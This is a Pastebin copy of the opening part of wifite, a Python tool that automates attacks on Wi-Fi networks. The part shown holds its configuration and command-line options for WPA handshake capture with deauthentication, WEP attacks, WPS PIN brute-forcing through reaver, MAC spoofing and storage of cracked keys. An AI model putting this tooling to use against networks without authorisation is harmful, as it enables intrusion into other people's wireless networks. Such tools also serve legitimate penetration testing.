Advertisement
ugo22g

Wifite

Jan 20th, 2015
300
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 153.09 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # -*- coding: utf-8 -*-
  4.  
  5. """
  6.    wifite
  7.  
  8.    author: derv82 at gmail
  9.    author: bwall @botnet_hunter (ballastsec@gmail.com)
  10.    author: drone @dronesec (ballastsec@gmail.com)
  11.  
  12.    Thanks to everyone that contributed to this project.
  13.    If you helped in the past and want your name here, shoot me an email
  14.  
  15.    Licensed under the GNU General Public License Version 2 (GNU GPL v2),
  16.        available at: http://www.gnu.org/licenses/gpl-2.0.txt
  17.  
  18.    (C) 2011 Derv Merkler
  19.  
  20.    Ballast Security additions
  21.    -----------------
  22.     - No longer requires to be root to run -cracked
  23.     - cracked.txt changed to cracked.csv and stored in csv format(easier to read, no \x00s)
  24.         - Backwards compatibility
  25.     - Made a run configuration class to handle globals
  26.     - Added -recrack (shows already cracked APs in the possible targets, otherwise hides them)
  27.     - Changed the updater to grab files from GitHub and not Google Code
  28.     - Use argparse to parse command-line arguments
  29.     - -wepca flag now properly initialized if passed through CLI
  30.     - parse_csv uses python csv library
  31.    -----------------
  32.  
  33.  
  34.    TODO:
  35.  
  36.    Restore same command-line switch names from v1
  37.  
  38.    If device already in monitor mode, check for and, if applicable, use macchanger
  39.  
  40.     WPS
  41.     * Mention reaver automatically resumes sessions
  42.     * Warning about length of time required for WPS attack (*hours*)
  43.     * Show time since last successful attempt
  44.     * Percentage of tries/attempts ?
  45.     * Update code to work with reaver 1.4 ("x" sec/att)
  46.  
  47.     WEP:
  48.     * ability to pause/skip/continue    (done, not tested)
  49.     * Option to capture only IVS packets (uses --output-format ivs,csv)
  50.       - not compatible on older aircrack-ng's.
  51.           - Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works
  52.         - would cut down on size of saved .caps
  53.  
  54.     reaver:
  55.          MONITOR ACTIVITY!
  56.          - Enter ESSID when executing (?)
  57.       - Ensure WPS key attempts have begun.
  58.       - If no attempts can be made, stop attack
  59.  
  60.       - During attack, if no attempts are made within X minutes, stop attack & Print
  61.  
  62.       - Reaver's output when unable to associate:
  63.         [!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF)
  64.       - If failed to associate for x minutes, stop attack (same as no attempts?)
  65.  
  66.    MIGHTDO:
  67.      * WPA - crack (pyrit/cowpatty) (not really important)
  68.      * Test injection at startup? (skippable via command-line switch)
  69.  
  70. """
  71.  
  72. # ############
  73. # LIBRARIES #
  74. #############
  75.  
  76. import csv  # Exporting and importing cracked aps
  77. import os  # File management
  78. import time  # Measuring attack intervals
  79. import random  # Generating a random MAC address.
  80. import errno  # Error numbers
  81.  
  82. from sys import argv  # Command-line arguments
  83. from sys import stdout  # Flushing
  84.  
  85. from shutil import copy  # Copying .cap files
  86.  
  87. # Executing, communicating with, killing processes
  88. from subprocess import Popen, call, PIPE
  89. from signal import SIGINT, SIGTERM
  90.  
  91. import re  # RegEx, Converting SSID to filename
  92. import argparse  # arg parsing
  93. import urllib  # Check for new versions from the repo
  94. import abc  # abstract base class libraries for attack templates
  95.  
  96.  
  97. ################################
  98. # GLOBAL VARIABLES IN ALL CAPS #
  99. ################################
  100.  
  101. # Console colors
  102. W = '\033[0m'  # white (normal)
  103. R = '\033[31m'  # red
  104. G = '\033[32m'  # green
  105. O = '\033[33m'  # orange
  106. B = '\033[34m'  # blue
  107. P = '\033[35m'  # purple
  108. C = '\033[36m'  # cyan
  109. GR = '\033[37m'  # gray
  110.  
  111. # /dev/null, send output from programs so they don't print to screen.
  112. DN = open(os.devnull, 'w')
  113. ERRLOG = open(os.devnull, 'w')
  114. OUTLOG = open(os.devnull, 'w')
  115.  
  116. ###################
  117. # DATA STRUCTURES #
  118. ###################
  119.  
  120.  
  121. class CapFile:
  122.     """
  123.        Holds data about an access point's .cap file, including AP's ESSID & BSSID.
  124.    """
  125.  
  126.     def __init__(self, filename, ssid, bssid):
  127.         self.filename = filename
  128.         self.ssid = ssid
  129.         self.bssid = bssid
  130.  
  131.  
  132. class Target:
  133.     """
  134.        Holds data for a Target (aka Access Point aka Router)
  135.    """
  136.  
  137.     def __init__(self, bssid, power, data, channel, encryption, ssid):
  138.         self.bssid = bssid
  139.         self.power = power
  140.         self.data = data
  141.         self.channel = channel
  142.         self.encryption = encryption
  143.         self.ssid = ssid
  144.         self.wps = False  # Default to non-WPS-enabled router.
  145.         self.key = ''
  146.  
  147.  
  148. class Client:
  149.     """
  150.        Holds data for a Client (device connected to Access Point/Router)
  151.    """
  152.  
  153.     def __init__(self, bssid, station, power):
  154.         self.bssid = bssid
  155.         self.station = station
  156.         self.power = power
  157.  
  158.  
  159. class RunConfiguration:
  160.     """
  161.        Configuration for this rounds of attacks
  162.    """
  163.  
  164.     def __init__(self):
  165.         self.REVISION = 86;
  166.         self.PRINTED_SCANNING = False
  167.  
  168.         self.TX_POWER = 0  # Transmit power for wireless interface, 0 uses default power
  169.  
  170.         # WPA variables
  171.         self.WPA_DISABLE = False  # Flag to skip WPA handshake capture
  172.         self.WPA_STRIP_HANDSHAKE = True  # Use pyrit or tshark (if applicable) to strip handshake
  173.         self.WPA_DEAUTH_COUNT = 5  # Count to send deauthentication packets
  174.         self.WPA_DEAUTH_TIMEOUT = 10  # Time to wait between deauthentication bursts (in seconds)
  175.         self.WPA_ATTACK_TIMEOUT = 500  # Total time to allow for a handshake attack (in seconds)
  176.         self.WPA_HANDSHAKE_DIR = 'hs'  # Directory in which handshakes .cap files are stored
  177.         # Strip file path separator if needed
  178.         if self.WPA_HANDSHAKE_DIR != '' and self.WPA_HANDSHAKE_DIR[-1] == os.sep:
  179.             self.WPA_HANDSHAKE_DIR = self.WPA_HANDSHAKE_DIR[:-1]
  180.  
  181.         self.WPA_FINDINGS = []  # List of strings containing info on successful WPA attacks
  182.         self.WPA_DONT_CRACK = False  # Flag to skip cracking of handshakes
  183.         self.WPA_DICTIONARY = '/pentest/web/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
  184.         if not os.path.exists(self.WPA_DICTIONARY): self.WPA_DICTIONARY = ''
  185.  
  186.         # Various programs to use when checking for a four-way handshake.
  187.         # True means the program must find a valid handshake in order for wifite to recognize a handshake.
  188.         # Not finding handshake short circuits result (ALL 'True' programs must find handshake)
  189.         self.WPA_HANDSHAKE_TSHARK = True  # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th)
  190.         self.WPA_HANDSHAKE_PYRIT = False  # Sometimes crashes on incomplete dumps, but accurate.
  191.         self.WPA_HANDSHAKE_AIRCRACK = True  # Not 100% accurate, but fast.
  192.         self.WPA_HANDSHAKE_COWPATTY = False  # Uses more lenient "nonstrict mode" (-2)
  193.  
  194.         # WEP variables
  195.         self.WEP_DISABLE = False  # Flag for ignoring WEP networks
  196.         self.WEP_PPS = 600  # packets per second (Tx rate)
  197.         self.WEP_TIMEOUT = 600  # Amount of time to give each attack
  198.         self.WEP_ARP_REPLAY = True  # Various WEP-based attacks via aireplay-ng
  199.         self.WEP_CHOPCHOP = True  #
  200.         self.WEP_FRAGMENT = True  #
  201.         self.WEP_CAFFELATTE = True  #
  202.         self.WEP_P0841 = True
  203.         self.WEP_HIRTE = True
  204.         self.WEP_CRACK_AT_IVS = 10000  # Number of IVS at which we start cracking
  205.         self.WEP_IGNORE_FAKEAUTH = True  # When True, continues attack despite fake authentication failure
  206.         self.WEP_FINDINGS = []  # List of strings containing info on successful WEP attacks.
  207.         self.WEP_SAVE = False  # Save packets.
  208.  
  209.         # WPS variables
  210.         self.WPS_DISABLE = False  # Flag to skip WPS scan and attacks
  211.         self.WPS_FINDINGS = []  # List of (successful) results of WPS attacks
  212.         self.WPS_TIMEOUT = 660  # Time to wait (in seconds) for successful PIN attempt
  213.         self.WPS_RATIO_THRESHOLD = 0.01  # Lowest percentage of tries/attempts allowed (where tries > 0)
  214.         self.WPS_MAX_RETRIES = 0  # Number of times to re-try the same pin before giving up completely.
  215.  
  216.  
  217.         # Program variables
  218.         self.SHOW_ALREADY_CRACKED = False  # Says whether to show already cracked APs as options to crack
  219.         self.WIRELESS_IFACE = ''  # User-defined interface
  220.         self.MONITOR_IFACE = ''  # User-defined interface already in monitor mode
  221.         self.TARGET_CHANNEL = 0  # User-defined channel to scan on
  222.         self.TARGET_ESSID = ''  # User-defined ESSID of specific target to attack
  223.         self.TARGET_BSSID = ''  # User-defined BSSID of specific target to attack
  224.         self.IFACE_TO_TAKE_DOWN = ''  # Interface that wifite puts into monitor mode
  225.         # It's our job to put it out of monitor mode after the attacks
  226.         self.ORIGINAL_IFACE_MAC = ('', '')  # Original interface name[0] and MAC address[1] (before spoofing)
  227.         self.DO_NOT_CHANGE_MAC = True  # Flag for disabling MAC anonymizer
  228.         self.TARGETS_REMAINING = 0  # Number of access points remaining to attack
  229.         self.WPA_CAPS_TO_CRACK = []  # list of .cap files to crack (full of CapFile objects)
  230.         self.THIS_MAC = ''  # The interfaces current MAC address.
  231.         self.SHOW_MAC_IN_SCAN = False  # Display MACs of the SSIDs in the list of targets
  232.         self.CRACKED_TARGETS = []  # List of targets we have already cracked
  233.         self.ATTACK_ALL_TARGETS = False  # Flag for when we want to attack *everyone*
  234.         self.ATTACK_MIN_POWER = 0  # Minimum power (dB) for access point to be considered a target
  235.         self.VERBOSE_APS = True  # Print access points as they appear
  236.         self.CRACKED_TARGETS = self.load_cracked()
  237.         old_cracked = self.load_old_cracked()
  238.         if len(old_cracked) > 0:
  239.             # Merge the results
  240.             for OC in old_cracked:
  241.                 new = True
  242.                 for NC in self.CRACKED_TARGETS:
  243.                     if OC.bssid == NC.bssid:
  244.                         new = False
  245.                         break
  246.                 # If Target isn't in the other list
  247.                 # Add and save to disk
  248.                 if new:
  249.                     self.save_cracked(OC)
  250.  
  251.     def ConfirmRunningAsRoot(self):
  252.         if os.getuid() != 0:
  253.             print R + ' [!]' + O + ' ERROR:' + G + ' wifite' + O + ' must be run as ' + R + 'root' + W
  254.             print R + ' [!]' + O + ' login as root (' + W + 'su root' + O + ') or try ' + W + 'sudo ./wifite.py' + W
  255.             exit(1)
  256.  
  257.     def ConfirmCorrectPlatform(self):
  258.         if not os.uname()[0].startswith("Linux") and not 'Darwin' in os.uname()[0]:  # OSX support, 'cause why not?
  259.             print O + ' [!]' + R + ' WARNING:' + G + ' wifite' + W + ' must be run on ' + O + 'linux' + W
  260.             exit(1)
  261.  
  262.     def CreateTempFolder(self):
  263.         from tempfile import mkdtemp
  264.  
  265.         self.temp = mkdtemp(prefix='wifite')
  266.         if not self.temp.endswith(os.sep):
  267.             self.temp += os.sep
  268.  
  269.     def save_cracked(self, target):
  270.         """
  271.            Saves cracked access point key and info to a file.
  272.        """
  273.         self.CRACKED_TARGETS.append(target)
  274.         with open('cracked.csv', 'wb') as csvfile:
  275.             targetwriter = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
  276.             for target in self.CRACKED_TARGETS:
  277.                 targetwriter.writerow([target.bssid, target.encryption, target.ssid, target.key, target.wps])
  278.  
  279.     def load_cracked(self):
  280.         """
  281.            Loads info about cracked access points into list, returns list.
  282.        """
  283.         result = []
  284.         if not os.path.exists('cracked.csv'): return result
  285.         with open('cracked.csv', 'rb') as csvfile:
  286.             targetreader = csv.reader(csvfile, delimiter=',', quotechar='"')
  287.             for row in targetreader:
  288.                 t = Target(row[0], 0, 0, 0, row[1], row[2])
  289.                 t.key = row[3]
  290.                 t.wps = row[4]
  291.                 result.append(t)
  292.         return result
  293.  
  294.     def load_old_cracked(self):
  295.         """
  296.                Loads info about cracked access points into list, returns list.
  297.        """
  298.         result = []
  299.         if not os.path.exists('cracked.txt'):
  300.             return result
  301.         fin = open('cracked.txt', 'r')
  302.         lines = fin.read().split('\n')
  303.         fin.close()
  304.  
  305.         for line in lines:
  306.             fields = line.split(chr(0))
  307.             if len(fields) <= 3:
  308.                 continue
  309.             tar = Target(fields[0], '', '', '', fields[3], fields[1])
  310.             tar.key = fields[2]
  311.             result.append(tar)
  312.         return result
  313.  
  314.     def exit_gracefully(self, code=0):
  315.         """
  316.            We may exit the program at any time.
  317.            We want to remove the temp folder and any files contained within it.
  318.            Removes the temp files/folder and exists with error code "code".
  319.        """
  320.         # Remove temp files and folder
  321.         if os.path.exists(self.temp):
  322.             for f in os.listdir(self.temp):
  323.                 os.remove(self.temp + f)
  324.             os.rmdir(self.temp)
  325.         # Disable monitor mode if enabled by us
  326.         self.RUN_ENGINE.disable_monitor_mode()
  327.         # Change MAC address back if spoofed
  328.         mac_change_back()
  329.         print GR + " [+]" + W + " quitting"  # wifite will now exit"
  330.         print ''
  331.         # GTFO
  332.         exit(code)
  333.  
  334.     def handle_args(self):
  335.         """
  336.            Handles command-line arguments, sets global variables.
  337.        """
  338.         set_encrypt = False
  339.         set_hscheck = False
  340.         set_wep = False
  341.         capfile = ''  # Filename of .cap file to analyze for handshakes
  342.  
  343.         opt_parser = self.build_opt_parser()
  344.         options = opt_parser.parse_args()
  345.  
  346.         try:
  347.             if not set_encrypt and (options.wpa or options.wep or options.wps):
  348.                 self.WPS_DISABLE = True
  349.                 self.WPA_DISABLE = True
  350.                 self.WEP_DISABLE = True
  351.                 set_encrypt = True
  352.             if options.recrack:
  353.                 self.SHOW_ALREADY_CRACKED = True
  354.                 print GR + ' [+]' + W + ' including already cracked networks in targets.'
  355.             if options.wpa:
  356.                 if options.wps:
  357.                     print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks.'
  358.                 else:
  359.                     print GR + ' [+]' + W + ' targeting ' + G + 'WPA' + W + ' encrypted networks (use ' + G + '-wps' + W + ' for WPS scan)'
  360.                 self.WPA_DISABLE = False
  361.             if options.wep:
  362.                 print GR + ' [+]' + W + ' targeting ' + G + 'WEP' + W + ' encrypted networks'
  363.                 self.WEP_DISABLE = False
  364.             if options.wps:
  365.                 print GR + ' [+]' + W + ' targeting ' + G + 'WPS-enabled' + W + ' networks.'
  366.                 self.WPS_DISABLE = False
  367.             if options.channel:
  368.                 try:
  369.                     self.TARGET_CHANNEL = int(options.channel)
  370.                 except ValueError:
  371.                     print O + ' [!]' + R + ' invalid channel: ' + O + options.channel + W
  372.                 except IndexError:
  373.                     print O + ' [!]' + R + ' no channel given!' + W
  374.                 else:
  375.                     print GR + ' [+]' + W + ' channel set to %s' % (G + str(self.TARGET_CHANNEL) + W)
  376.             if options.mac_anon:
  377.                 print GR + ' [+]' + W + ' mac address anonymizing ' + G + 'enabled' + W
  378.                 print O + '      not: only works if device is not already in monitor mode!' + W
  379.                 self.DO_NOT_CHANGE_MAC = False
  380.             if options.interface:
  381.                 self.WIRELESS_IFACE = options.interface
  382.                 print GR + ' [+]' + W + ' set interface :%s' % (G + self.WIRELESS_IFACE + W)
  383.             if options.monitor_interface:
  384.                 self.MONITOR_IFACE = options.monitor_interface
  385.                 print GR + ' [+]' + W + ' set interface already in monitor mode :%s' % (G + self.MONITOR_IFACE + W)
  386.             if options.essid:
  387.                 try:
  388.                     self.TARGET_ESSID = options.essid
  389.                 except ValueError:
  390.                     print R + ' [!]' + O + ' no ESSID given!' + W
  391.                 else:
  392.                     print GR + ' [+]' + W + ' targeting ESSID "%s"' % (G + self.TARGET_ESSID + W)
  393.             if options.bssid:
  394.                 try:
  395.                     self.TARGET_BSSID = options.bssid
  396.                 except ValueError:
  397.                     print R + ' [!]' + O + ' no BSSID given!' + W
  398.                 else:
  399.                     print GR + ' [+]' + W + ' targeting BSSID "%s"' % (G + self.TARGET_BSSID + W)
  400.             if options.showb:
  401.                 self.SHOW_MAC_IN_SCAN = True
  402.                 print GR + ' [+]' + W + ' target MAC address viewing ' + G + 'enabled' + W
  403.             if options.all:
  404.                 self.ATTACK_ALL_TARGETS = True
  405.                 print GR + ' [+]' + W + ' targeting ' + G + 'all access points' + W
  406.             if options.power:
  407.                 try:
  408.                     self.ATTACK_MIN_POWER = int(options.power)
  409.                 except ValueError:
  410.                     print R + ' [!]' + O + ' invalid power level: %s' % (R + options.power + W)
  411.                 except IndexError:
  412.                     print R + ' [!]' + O + ' no power level given!' + W
  413.                 else:
  414.                     print GR + ' [+]' + W + ' minimum target power set to %s' % (G + str(self.ATTACK_MIN_POWER) + W)
  415.             if options.tx:
  416.                 try:
  417.                     self.TX_POWER = int(options.tx)
  418.                 except ValueError:
  419.                     print R + ' [!]' + O + ' invalid TX power leve: %s' % ( R + options.tx + W)
  420.                 except IndexError:
  421.                     print R + ' [!]' + O + ' no TX power level given!' + W
  422.                 else:
  423.                     print GR + ' [+]' + W + ' TX power level set to %s' % (G + str(self.TX_POWER) + W)
  424.             if options.quiet:
  425.                 self.VERBOSE_APS = False
  426.                 print GR + ' [+]' + W + ' list of APs during scan ' + O + 'disabled' + W
  427.             if options.check:
  428.                 try:
  429.                     capfile = options.check
  430.                 except IndexError:
  431.                     print R + ' [!]' + O + ' unable to analyze capture file' + W
  432.                     print R + ' [!]' + O + ' no cap file given!\n' + W
  433.                     self.exit_gracefully(1)
  434.                 else:
  435.                     if not os.path.exists(capfile):
  436.                         print R + ' [!]' + O + ' unable to analyze capture file!' + W
  437.                         print R + ' [!]' + O + ' file not found: ' + R + capfile + '\n' + W
  438.                         self.exit_gracefully(1)
  439.             if options.update:
  440.                 self.upgrade()
  441.                 exit(0)
  442.             if options.cracked:
  443.                 if len(self.CRACKED_TARGETS) == 0:
  444.                     print R + ' [!]' + O + ' There are no cracked access points saved to ' + R + 'cracked.db\n' + W
  445.                     self.exit_gracefully(1)
  446.                 print GR + ' [+]' + W + ' ' + W + 'previously cracked access points' + W + ':'
  447.                 for victim in self.CRACKED_TARGETS:
  448.                     if victim.wps != False:
  449.                         print '     %s (%s) : "%s" - Pin: %s' % (
  450.                         C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W)
  451.                     else:
  452.                         print '     %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W)
  453.                 print ''
  454.                 self.exit_gracefully(0)
  455.             # WPA
  456.             if not set_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit):
  457.                 self.WPA_HANDSHAKE_TSHARK = False
  458.                 self.WPA_HANDSHAKE_PYRIT = False
  459.                 self.WPA_HANDSHAKE_COWPATTY = False
  460.                 self.WPA_HANDSHAKE_AIRCRACK = False
  461.                 set_hscheck = True
  462.             if options.strip:
  463.                 self.WPA_STRIP_HANDSHAKE = True
  464.                 print GR + ' [+]' + W + ' handshake stripping ' + G + 'enabled' + W
  465.             if options.wpadt:
  466.                 try:
  467.                     self.WPA_DEAUTH_TIMEOUT = int(options.wpadt)
  468.                 except ValueError:
  469.                     print R + ' [!]' + O + ' invalid deauth timeout: %s' % (R + options.wpadt + W)
  470.                 except IndexError:
  471.                     print R + ' [!]' + O + ' no deauth timeout given!' + W
  472.                 else:
  473.                     print GR + ' [+]' + W + ' WPA deauth timeout set to %s' % (G + str(self.WPA_DEAUTH_TIMEOUT) + W)
  474.             if options.wpat:
  475.                 try:
  476.                     self.WPA_ATTACK_TIMEOUT = int(options.wpat)
  477.                 except ValueError:
  478.                     print R + ' [!]' + O + ' invalid attack timeout: %s' % (R + options.wpat + W)
  479.                 except IndexError:
  480.                     print R + ' [!]' + O + ' no attack timeout given!' + W
  481.                 else:
  482.                     print GR + ' [+]' + W + ' WPA attack timeout set to %s' % (G + str(self.WPA_ATTACK_TIMEOUT) + W)
  483.             if options.crack:
  484.                 self.WPA_DONT_CRACK = False
  485.                 print GR + ' [+]' + W + ' WPA cracking ' + G + 'enabled' + W
  486.                 if options.dic:
  487.                     try:
  488.                         self.WPA_DICTIONARY = options.dic
  489.                     except IndexError:
  490.                         print R + ' [!]' + O + ' no WPA dictionary given!'
  491.                     else:
  492.                         if os.path.exists(options.dic):
  493.                             print GR + ' [+]' + W + ' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W)
  494.                         else:
  495.                             print R + ' [!]' + O + ' WPA dictionary file not found: %s' % (options.dic)
  496.                 else:
  497.                     print R + ' [!]' + O + ' WPA dictionary file not given!'
  498.                     self.exit_gracefully(1)
  499.             if options.tshark:
  500.                 self.WPA_HANDSHAKE_TSHARK = True
  501.                 print GR + ' [+]' + W + ' tshark handshake verification ' + G + 'enabled' + W
  502.             if options.pyrit:
  503.                 self.WPA_HANDSHAKE_PYRIT = True
  504.                 print GR + ' [+]' + W + ' pyrit handshake verification ' + G + 'enabled' + W
  505.             if options.aircrack:
  506.                 self.WPA_HANDSHAKE_AIRCRACK = True
  507.                 print GR + ' [+]' + W + ' aircrack handshake verification ' + G + 'enabled' + W
  508.             if options.cowpatty:
  509.                 self.WPA_HANDSHAKE_COWPATTY = True
  510.                 print GR + ' [+]' + W + ' cowpatty handshake verification ' + G + 'enabled' + W
  511.  
  512.             # WEP
  513.             if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \
  514.                     or options.p0841 or options.hirte:
  515.                 self.WEP_CHOPCHOP = False
  516.                 self.WEP_ARPREPLAY = False
  517.                 self.WEP_CAFFELATTE = False
  518.                 self.WEP_FRAGMENT = False
  519.                 self.WEP_P0841 = False
  520.                 self.WEP_HIRTE = False
  521.             if options.chopchop:
  522.                 print GR + ' [+]' + W + ' WEP chop-chop attack ' + G + 'enabled' + W
  523.                 self.WEP_CHOPCHOP = True
  524.             if options.fragment:
  525.                 print GR + ' [+]' + W + ' WEP fragmentation attack ' + G + 'enabled' + W
  526.                 self.WEP_FRAGMENT = True
  527.             if options.caffeelatte:
  528.                 print GR + ' [+]' + W + ' WEP caffe-latte attack ' + G + 'enabled' + W
  529.                 self.WEP_CAFFELATTE = True
  530.             if options.arpreplay:
  531.                 print GR + ' [+]' + W + ' WEP arp-replay attack ' + G + 'enabled' + W
  532.                 self.WEP_ARPREPLAY = True
  533.             if options.p0841:
  534.                 print GR + ' [+]' + W + ' WEP p0841 attack ' + G + 'enabled' + W
  535.                 self.WEP_P0841 = True
  536.             if options.hirte:
  537.                 print GR + ' [+]' + W + ' WEP hirte attack ' + G + 'enabled' + W
  538.                 self.WEP_HIRTE = True
  539.             if options.fakeauth:
  540.                 print GR + ' [+]' + W + ' ignoring failed fake-authentication ' + R + 'disabled' + W
  541.                 self.WEP_IGNORE_FAKEAUTH = False
  542.             if options.wepca:
  543.                 try:
  544.                     self.WEP_CRACK_AT_IVS = int(options.wepca)
  545.                 except ValueError:
  546.                     print R + ' [!]' + O + ' invalid number: %s' % ( R + options.wepca + W )
  547.                 except IndexError:
  548.                     print R + ' [!]' + O + ' no IV number specified!' + W
  549.                 else:
  550.                     print GR + ' [+]' + W + ' Starting WEP cracking when IV\'s surpass %s' % (
  551.                     G + str(self.WEP_CRACK_AT_IVS) + W)
  552.             if options.wept:
  553.                 try:
  554.                     self.WEP_TIMEOUT = int(options.wept)
  555.                 except ValueError:
  556.                     print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wept + W)
  557.                 except IndexError:
  558.                     print R + ' [!]' + O + ' no timeout given!' + W
  559.                 else:
  560.                     print GR + ' [+]' + W + ' WEP attack timeout set to %s' % (
  561.                     G + str(self.WEP_TIMEOUT) + " seconds" + W)
  562.             if options.pps:
  563.                 try:
  564.                     self.WEP_PPS = int(options.pps)
  565.                 except ValueError:
  566.                     print R + ' [!]' + O + ' invalid value: %s' % (R + options.pps + W)
  567.                 except IndexError:
  568.                     print R + ' [!]' + O + ' no value given!' + W
  569.                 else:
  570.                     print GR + ' [+]' + W + ' packets-per-second rate set to %s' % (
  571.                     G + str(options.pps) + " packets/sec" + W)
  572.             if options.wepsave:
  573.                 self.WEP_SAVE = True
  574.                 print GR + ' [+]' + W + ' WEP .cap file saving ' + G + 'enabled' + W
  575.  
  576.             # WPS
  577.             if options.wpst:
  578.                 try:
  579.                     self.WPS_TIMEOUT = int(options.wpst)
  580.                 except ValueError:
  581.                     print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wpst + W)
  582.                 except IndexError:
  583.                     print R + ' [!]' + O + ' no timeout given!' + W
  584.                 else:
  585.                     print GR + ' [+]' + W + ' WPS attack timeout set to %s' % (
  586.                     G + str(self.WPS_TIMEOUT) + " seconds" + W)
  587.             if options.wpsratio:
  588.                 try:
  589.                     self.WPS_RATIO_THRESHOLD = float(options.wpsratio)
  590.                 except ValueError:
  591.                     print R + ' [!]' + O + ' invalid percentage: %s' % (R + options.wpsratio + W)
  592.                 except IndexError:
  593.                     print R + ' [!]' + O + ' no ratio given!' + W
  594.                 else:
  595.                     print GR + ' [+]' + W + ' minimum WPS tries/attempts threshold set to %s' % (
  596.                     G + str(self.WPS_RATIO_THRESHOLD) + "" + W)
  597.             if options.wpsretry:
  598.                 try:
  599.                     self.WPS_MAX_RETRIES = int(options.wpsretry)
  600.                 except ValueError:
  601.                     print R + ' [!]' + O + ' invalid number: %s' % (R + options.wpsretry + W)
  602.                 except IndexError:
  603.                     print R + ' [!]' + O + ' no number given!' + W
  604.                 else:
  605.                     print GR + ' [+]' + W + ' WPS maximum retries set to %s' % (
  606.                     G + str(self.WPS_MAX_RETRIES) + " retries" + W)
  607.  
  608.         except IndexError:
  609.             print '\nindexerror\n\n'
  610.  
  611.         if capfile != '':
  612.             self.RUN_ENGINE.analyze_capfile(capfile)
  613.         print ''
  614.  
  615.     def build_opt_parser(self):
  616.         """ Options are doubled for backwards compatability; will be removed soon and
  617.            fully moved to GNU-style
  618.        """
  619.         option_parser = argparse.ArgumentParser()
  620.  
  621.         # set commands
  622.         command_group = option_parser.add_argument_group('COMMAND')
  623.         command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check')
  624.         command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS)
  625.         command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true',
  626.                                    dest='cracked')
  627.         command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked')
  628.         command_group.add_argument('--recrack', help='Include already cracked networks in targets.',
  629.                                    action='store_true', dest='recrack')
  630.         command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack')
  631.  
  632.         # set global
  633.         global_group = option_parser.add_argument_group('GLOBAL')
  634.         global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all')
  635.         global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all')
  636.         global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface')
  637.         global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False,
  638.                                   dest='mac_anon')
  639.         global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon')
  640.         global_group.add_argument('--mon-iface', help='Interface already in monitor mode.', action='store',
  641.                                   dest='monitor_interface')
  642.         global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel')
  643.         global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store',
  644.                                   dest='essid')
  645.         global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store',
  646.                                   dest='bssid')
  647.         global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true',
  648.                                   dest='showb')
  649.         global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb')
  650.         global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].', action='store',
  651.                                   dest='power')
  652.         global_group.add_argument('-power', help=argparse.SUPPRESS, action='store', dest='power')
  653.         global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx')
  654.         global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx')
  655.         global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true',
  656.                                   dest='quiet')
  657.         global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet')
  658.         global_group.add_argument('--update', help='Check and update Wifite.', default=False, action='store_true',
  659.                                   dest='update')
  660.         global_group.add_argument('-update', help=argparse.SUPPRESS, default=False, action='store_true', dest='update')
  661.         # set wpa commands
  662.         wpa_group = option_parser.add_argument_group('WPA')
  663.         wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False,
  664.                                action='store_true', dest='wpa')
  665.         wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False, action='store_true', dest='wpa')
  666.         wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store',
  667.                                dest='wpat')
  668.         wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat')
  669.         wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store',
  670.                                dest='wpadt')
  671.         wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt')
  672.         wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False,
  673.                                action='store_true', dest='strip')
  674.         wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip')
  675.         wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true',
  676.                                dest='crack')
  677.         wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack')
  678.         wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store',
  679.                                dest='dic')
  680.         wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic')
  681.         wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False,
  682.                                action='store_true', dest='aircrack')
  683.         wpa_group.add_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store_true', dest='aircrack')
